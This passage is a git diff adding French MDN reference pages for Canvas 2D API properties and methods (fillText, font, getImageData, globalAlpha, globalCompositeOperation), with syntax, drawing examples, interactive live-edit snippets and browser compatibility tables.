+reset.addEventListener('click', function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener('click', function() {
+  textarea.focus();
+})
+
+textarea.addEventListener('input', drawCanvas);
+window.addEventListener('load', drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h3 id="Un_exemple_fillStyle_avec_les_boucles_for">Un exemple <code>fillStyle</code> avec les boucles <code>for</code></h3>
+
+<p>Dans cet exemple, nous allons utiliser deux boucles <code>for</code> pour dessiner une grille de rectangles, chacun avec une couleur différente. L'image qui en résulte devrait ressembler à la capture d'écran. Il n'y a rien de très extraordinaire ici, nous utilisons deux variables <code>i</code> et <code>j</code> pour générer une couleur RGB unique pour chaque carré, en modifiant uniquement les valeurs de rouge et vert; le canal bleu a une valeur fixe. En modifiant les canaux, vous pouvez générer toutes sorte de palettes. En augmentant le nombre, vous pouvez générer quelque chose de ressemblant aux palettes de couleurs utilisées par Photoshop.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js">var ctx = document.getElementById('canvas').getContext('2d');
+for (var i = 0; i &lt; 6; i++){
+  for (var j = 0; j &lt; 6; j++){
+    ctx.fillStyle = 'rgb(' + Math.floor(255 - 42.5 * i) + ',' +
+                     Math.floor(255 - 42.5 * j) + ',0)';
+    ctx.fillRect(j * 25, i * 25, 25, 25);
+  }
+}
+</pre>
+
+<p>Le résultat devrait ressembler à ça:</p>
+
+<p>{{EmbedLiveSample("A_fillStyle_example_with_for_loops", 160, 160, "https://mdn.mozillademos.org/files/5417/Canvas_fillstyle.png")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fillstyle", "CanvasRenderingContext2D.fillStyle")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.fillStyle")}}</p>
+
+<h2 id="Notes_spécifiques_à_WebKitBlink">Notes spécifiques à WebKit/Blink</h2>
+
+<ul>
+ <li>Outre <code>ctx.fillStyle</code>, il existe dans les navigateurs basés sur WebKit et Blink une méthode non-standard et dépréciée, <code>ctx.setFillColor()</code>.
+
+  <pre class="brush: js">setFillColor(color, optional alpha);
+setFillColor(grayLevel, optional alpha);
+setFillColor(r, g, b, a);
+setFillColor(c, m, y, k, a);
+</pre>
+ </li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface définissant cette méthode, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasGradient")}}</li>
+ <li>{{domxref("CanvasPattern")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/filltext/index.html b/files/fr/web/api/canvasrenderingcontext2d/filltext/index.html
new file mode 100644
index 0000000000..666e230f59
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/filltext/index.html
@@ -0,0 +1,180 @@
+---
+title: CanvasRenderingContext2D.fillText()
+slug: Web/API/CanvasRenderingContext2D/fillText
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Méthode
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/fillText
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillText()</code></strong> de l'API Canvas 2D écrit un texte donné à la position <em>(x, y)</em> donnée. Si le quatrième paramètre optionnel donnant une largeur maximum est fourni, le texte sera mis à l'échelle pour s'adapter à cette largeur.</p>
+
+<p>Voir aussi la méthode {{domxref("CanvasRenderingContext2D.strokeText()")}} pour dessiner un texte mis en forme.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.fillText(texte, x, y [, largeurMax]);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>texte</code></dt>
+ <dd>Le texte à représenter en utilisant les valeurs en cours de {{domxref("CanvasRenderingContext2D.font","font")}}, {{domxref("CanvasRenderingContext2D.textAlign","textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline","textBaseline")}}, et de {{domxref("CanvasRenderingContext2D.direction","direction")}}.</dd>
+</dl>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>La valeur de la coordonnée sur l'axe des x du point de début du texte.</dd>
+ <dt><code>y</code></dt>
+ <dd>La valeur de la coordonnée sur l'axe des y du point de fin du texte.</dd>
+ <dt><code>largeurMax</code> {{optional_inline}}</dt>
+ <dd>La largeur maximum à dessiner. Si spécifiée, et si la longueur calculée de la chaîne est supérieure à cette largeur, la police est ajustée pour utiliser une police plus condensée horizontalement (s'il en existe une ou s'il peut en être synthétisée une raisonnablement lisible en mettant à l'échelle horizontalement la police en cours) ou une plus petite police.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_fillText">Utilisation de la méthode <code>fillText</code></h3>
+
+<p>Ceci est seulement un fragment de code simple utilisant la méthode <code>fillText</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.font = '48px serif';
+ctx.fillText('Hello world', 50, 100);
+</pre>
+
+<p>Modifiez le code ci-dessous et voyez vos changements être mis à jour en temps réel dans le canevas :</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.font = "48px serif";
+ctx.fillText("Hello world", 50, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-filltext", "CanvasRenderingContext2D.fillText")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>{{ CompatIE(9) }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome pour Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("1.9.1") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface la définissant, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.strokeText()")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/font/index.html b/files/fr/web/api/canvasrenderingcontext2d/font/index.html
new file mode 100644
index 0000000000..8f3cba24fe
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/font/index.html
@@ -0,0 +1,140 @@
+---
+title: CanvasRenderingContext2D.font
+slug: Web/API/CanvasRenderingContext2D/font
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Propriété
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/font
+---
+<div>{{APIRef}}</div>
+
+<p>La propriété <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.font</code></strong><code> de l'API</code> Canvas 2D API spécifie le style de texte à utiliser pour dessiner du texte. Cette chaîne utilise la même syntaxe que le spécificateur de <a href="/fr-FR/docs/Web/CSS/font" title="fr/CSS/font">police CSS</a>. La police par défaut est 10px sans-serif.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em>.font = value;</var>
+</pre>
+
+<h3 id="Options">Options</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>Une valeur {{domxref("DOMString")}} analysée comme une valeur de {{cssxref("font")}} CSS. La police par défaut est 10px sans-serif.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_propriété_font">Utilisation de la propriété <code>font</code></h3>
+
+<p>Ceci est seulement un fragment de code simple utilisant la propriéte font pour indiquer une taille de police et une famille de police différentes.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.font = '48px serif';
+ctx.strokeText('Hello world', 50, 100);
+</pre>
+
+<p>Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel dans le canevas :</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.font = '48px serif';
+ctx.strokeText('Hello world', 50, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var edit = document.getElementById('edit');
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener('click', function() {
+  textarea.focus();
+})
+
+textarea.addEventListener('input', drawCanvas);
+window.addEventListener('load', drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h3 id="Chargement_de_polices_avec_l'API_CSS_Font_Loading">Chargement de polices avec l'API CSS Font Loading</h3>
+
+<p>A l'aide de l'API {{domxref("FontFace")}}, vous pouvez explicitement charger des polices avant de les utiliser dans un canevas.</p>
+
+<pre class="brush: js">var f = new FontFace('test', 'url(x)');
+
+f.load().then(function() {
+  // Prêt à utiliser la police dans un contexte de canevas
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-font", "CanvasRenderingContext2D.font")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.font")}}</p>
+
+<h2 id="Notes_spécifiques_à_Gecko">Notes spécifiques à Gecko</h2>
+
+<ul>
+ <li>Dans les navigateurs basés sur Gecko, tels que Firefox, une propriété non standard et désapprouvée <code>ctx.mozTextStyle</code> est implémentée en plus de cette propriété. Ne l'utilisez pas.</li>
+</ul>
+
+<h3 id="Notes_relatives_à_Quantum">Notes relatives à Quantum</h3>
+
+<ul>
+ <li>Un bug ({{bug(1374885)}}) a été corrigé avec Quantum et qui empêchait de récupérer la police d'un contexte lorsqu'une police système était utilisée. Cela a été corrigée avec <a href="https://wiki.mozilla.org/Quantum/Stylo">Stylo</a> qui a été publié avec Firefox 57.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface la définissant, {{domxref("CanvasRenderingContext2D")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/getimagedata/index.html b/files/fr/web/api/canvasrenderingcontext2d/getimagedata/index.html
new file mode 100644
index 0000000000..719eb385dc
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/getimagedata/index.html
@@ -0,0 +1,103 @@
+---
+title: CanvasRenderingContext2D.getImageData()
+slug: Web/API/CanvasRenderingContext2D/getImageData
+tags:
+  - API
+  - Canvas
+  - Canvas API
+  - CanvasRenderingContext2D
+  - Image
+  - ImageData
+  - Méthode
+  - Méthodes
+  - References
+  - getImageDate
+translation_of: Web/API/CanvasRenderingContext2D/getImageData
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.getImageData()</code></strong> de l'API Canvas 2D retourne un  objet {{domxref("ImageData")}} représentant les données de pixels sous-jacentes pour la zone du canevas désigné par le rectangle qui commence aux positions <em>(sx, sy)</em> et qui possède des attributs : <em>largeur (sw</em>) et <em>hauteur</em> (<em>sh)</em>. Cette méthode n'est pas affectée par la matrice de transformation du canevas.</p>
+
+<p><span id="result_box" lang="fr"><span>Les pixels en dehors de la zone de canevas sont présents sous forme de valeurs noires transparentes dans les données d'image renvoyées.</span></span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">ImageData <var><em>ctx</em>.getImageData(sx, sy, sw, sh);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>sx</code></dt>
+ <dd>La coordonnée x du coin supérieur gauche du rectangle à partir duquel <em>ImageData</em> sera extrait.</dd>
+ <dt><code>sy</code></dt>
+ <dd>La coordonnée y du coin supérieur gauche du rectangle à partir duquel <em>ImageData</em><strong><em> </em></strong> sera extrait.</dd>
+ <dt><code>sw</code></dt>
+ <dd>La largeur du rectangle à partir duquel <em>ImageData<strong> </strong></em>sera extrait.</dd>
+ <dt><code>sh</code></dt>
+ <dd>La hauteur du rectangle à partir duquel <em>ImageData<strong> </strong></em>sera extrait.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Un objet {{domxref("ImageData")}}  contenant les données de l'image pour le rectangle donné du canevas.</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt><code>IndexSizeError</code></dt>
+ <dd>Renvoyé si l'un des arguments de  largeur ou de hauteur est égal à zéro.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_getImageData">Utilisation de la méthode  <code>getImageData</code></h3>
+
+<p>Ceci est juste un petit exemple qui utilise la méthode getImageData. Pour plus d'informations, visitez  <a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Pixel_manipulation_with_canvas">Manipulation de pixels avec canvas</a> et l'objet {{domxref("ImageData")}}.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[6]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+ctx.rect(10, 10, 100, 100);
+ctx.fill();
+
+console.log(ctx.getImageData(50, 50, 100, 100));
+// ImageData { largeur: 100, hauteur: 100, données: Uint8ClampedArray[40000] }
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-getimagedata", "CanvasRenderingContext2D.getImageData")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.getImageData")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><span class="short_text" id="result_box" lang="fr"><span>L'interface le définissant</span></span> : {{domxref("CanvasRenderingContext2D")}}.</li>
+ <li>{{domxref("ImageData")}}</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Pixel_manipulation_with_canvas">Manipulation de pixels avec canvas</a></li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/globalalpha/index.html b/files/fr/web/api/canvasrenderingcontext2d/globalalpha/index.html
new file mode 100644
index 0000000000..a0cb81d4c8
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/globalalpha/index.html
@@ -0,0 +1,178 @@
+---
+title: CanvasRenderingContext2D.globalAlpha
+slug: Web/API/CanvasRenderingContext2D/globalAlpha
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Propriété
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/globalAlpha
+---
+<div>{{APIRef}}</div>
+
+<div>La propriété <strong>CanvasRenderingContext2D.globalAlpha</strong> de l'API Canvas 2D spécifie la valeur alpha qui sera appliquée aux formes et aux images avant qu'elles ne soient dessinées sur le canevas. La valeur est comprise entre 0,0 (entièrement transparente) et 1,0 (entièrement opaque).</div>
+
+<div> </div>
+
+<p>Voir aussi le chapitre <a href="/fr-FR/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Ajout de styles et de couleurs</a> dans le <a href="/fr-FR/docs/Web/API/Canvas_API/Tutorial">Tutoriel canvas</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>ctx.globalAlpha = valeur;</var>
+</pre>
+
+<h3 id="Options">Options</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>Un nombre entre 0,0 (entièrement transparente) et 1,0 (entièrement opaque). La valeur par défaut est 1,0. Les valeurs hors de la plage, y compris {{jsxref ("Infinity")}} et {{jsxref ("NaN")}} ne seront pas définies et <code>globalAlpha</code> conservera sa valeur précédente.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Using_the_globalAlpha_property" name="Using_the_globalAlpha_property">Utilisation de la propriété <code>globalAlpha</code></h3>
+
+<p>Il s'agit seulement d'un simple fragment de code utilisant la propriété <code>globalAlpha</code> pour dessiner deux rectangles semi-transparents.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canevas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight[4]">var canevas = document.getElementById('canevas');
+var ctx = canevas.getContext('2d');
+
+ctx.globalAlpha = 0.5;
+
+ctx.fillStyle = "blue";
+ctx.fillRect(10, 10, 100, 100);
+
+ctx.fillStyle = "red";
+ctx.fillRect(50, 50, 100, 100);
+</pre>
+
+<p>Modifiez le code ci-dessous et voyez vos modifications mises à jour en direct dans le canevas :</p>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canevas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="modifier" type="button" value="Modifier" /&gt;
+  &lt;input id="effacement" type="button" value="Effacement" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code" style="height:120px;"&gt;
+ctx.globalAlpha = 0.5;
+
+ctx.fillStyle = 'blue';
+ctx.fillRect(10, 10, 100, 100);
+
+ctx.fillStyle = 'red';
+ctx.fillRect(50, 50, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canevas = document.getElementById('canevas');
+var ctx = canevas.getContext('2d');
+var zoneTexte = document.getElementById('code');
+var effacement = document.getElementById('effacement');
+var modifier = document.getElementById('modifier');
+var code = zoneTexte.value;
+
+function dessinerCanevas() {
+  ctx.clearRect(0, 0, canevas.width, canevas.height);
+  eval(zoneTexte.value);
+}
+
+effacement.addEventListener('click', function() {
+  zoneT.value = code;
+  dessinerCanevas();
+});
+
+modifier.addEventListener('click', function() {
+  zoneTexte.focus();
+})
+
+zoneTexte.addEventListener('input', dessinerCanevas);
+window.addEventListener('load', dessinerCanevas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 380) }}</p>
+
+<h3 id="A_globalAlpha_example" name="A_globalAlpha_example">Un exemple de <code>globalAlpha</code></h3>
+
+<p>Dans cet exemple, un arrière-plan de quatre carrés de différentes couleurs est dessiné. Au dessus, se trouve un ensemble de cercles semi-transparents. La propriété globalAlpha est définie à 0,2, valeur qui sera utilisée pour toutes les formes à partir de ce point. Chaque étape de la boucle <code>for</code> dessine un ensemble de cercles de rayons croissants. Le résultat final est un dégradé radial. En superposant toujours plus de cercles les uns sur les autres, la transparence des cercles déjà dessinés est réduite. En augmentant le nombre d'étapes et, concrètement, en dessinant davantage de cercles, l'arrière-plan disparaitra complètement du centre de l'image.</p>
+
+<pre class="brush: js">var ctx = document.getElementById('canevas').getContext('2d');
+
+// Dessiner l'arrière-plan
+ctx.fillStyle = '#FD0';
+ctx.fillRect(0, 0, 75, 75);
+ctx.fillStyle = '#6C0';
+ctx.fillRect(75, 0, 75, 75);
+ctx.fillStyle = '#09F';
+ctx.fillRect(0, 75, 75, 75);
+ctx.fillStyle = '#F30';
+ctx.fillRect(75, 75, 75, 75);
+ctx.fillStyle = '#FFF';
+
+// Définir la valeur de transparence
+ctx.globalAlpha = 0.2;
+
+// Dessiner les cercles semi-transparents
+for (i = 0; i &lt; 7; i++){
+  ctx.beginPath();
+  ctx.arc(75, 75, 10 + 10 * i, 0, Math.PI * 2, true);
+  ctx.fill();
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canevas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_globalAlpha_example", "180", "180", "https://mdn.mozillademos.org/files/232/Canvas_globalalpha.png")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-globalalpha", "CanvasRenderingContext2D.globalAlpha")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.globalAlpha")}}</p>
+
+<h2 id="Notes_spécifiques_à_Gecko">Notes spécifiques à Gecko</h2>
+
+<ul>
+ <li>À partir de Gecko 5.0, la spécification de valeurs invalides pour globalAlpha ne génère plus une exception SYNTAX_ERR ; celles-ci sont silencieusement et correctement ignorées.</li>
+</ul>
+
+<h2 id="Notes_spécifiques_à_WebKitBlink">Notes spécifiques à WebKit/Blink</h2>
+
+<ul>
+ <li>Dans les navigateurs WebKit et Blink, une méthode non standard et désapprouvée <code>ctx.setAlpha() </code>est implémentée en plus de cette propriété.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface la définissant, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.globalCompositeOperation")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/globalcompositeoperation/index.html b/files/fr/web/api/canvasrenderingcontext2d/globalcompositeoperation/index.html
new file mode 100644
index 0000000000..2aa8c851b3
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/globalcompositeoperation/index.html
@@ -0,0 +1,97 @@
+---
+title: CanvasRenderingContext2D.globalCompositeOperation
+slug: Web/API/CanvasRenderingContext2D/globalCompositeOperation
+translation_of: Web/API/CanvasRenderingContext2D/globalCompositeOperation
+---
+<div>{{APIRef}}</div>
+
+<p>La propriété <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.globalCompositeOperation</code></strong> de l'API Canvas 2D définit le type d'opération de composition à appliquer lors du tracé de nouvelles formes.</p>
+
+<p>Voir aussi <a href="/fr/docs/Tutoriel_canvas/Composition">Composition et découpe</a> dans le <a href="/fr/docs/Tutoriel_canvas">Tutoriel canvas</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>ctx</em>.globalCompositeOperation = <em>type</em>;</pre>
+
+<p><code>type</code> est de type {{jsxref("String")}} et permet de choisir quelle opération de composition ou de mode fondu utiliser.</p>
+
+<h3 id="Types">Types</h3>
+
+<p>{{EmbedLiveSample("Compositing_example", 750, 6900, "" ,"Web/API/Canvas_API/Tutorial/Compositing/Example")}}</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Changer_lopération_de_composition">Changer l'opération de composition</h3>
+
+<p>Cet exemple utilise la propriété <code>globalCompositeOperation</code> pour dessiner deux rectangles qui s'excluent l'un l'autre quand ils se superposent.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight[4]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.globalCompositeOperation = 'xor';
+
+ctx.fillStyle = 'blue';
+ctx.fillRect(10, 10, 100, 100);
+
+ctx.fillStyle = 'red';
+ctx.fillRect(50, 50, 100, 100);
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{ EmbedLiveSample('Changing_the_composite_operation', 700, 180) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Etat</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-globalcompositeoperation", "CanvasRenderingContext2D.globalCompositeOperation")}}</td>
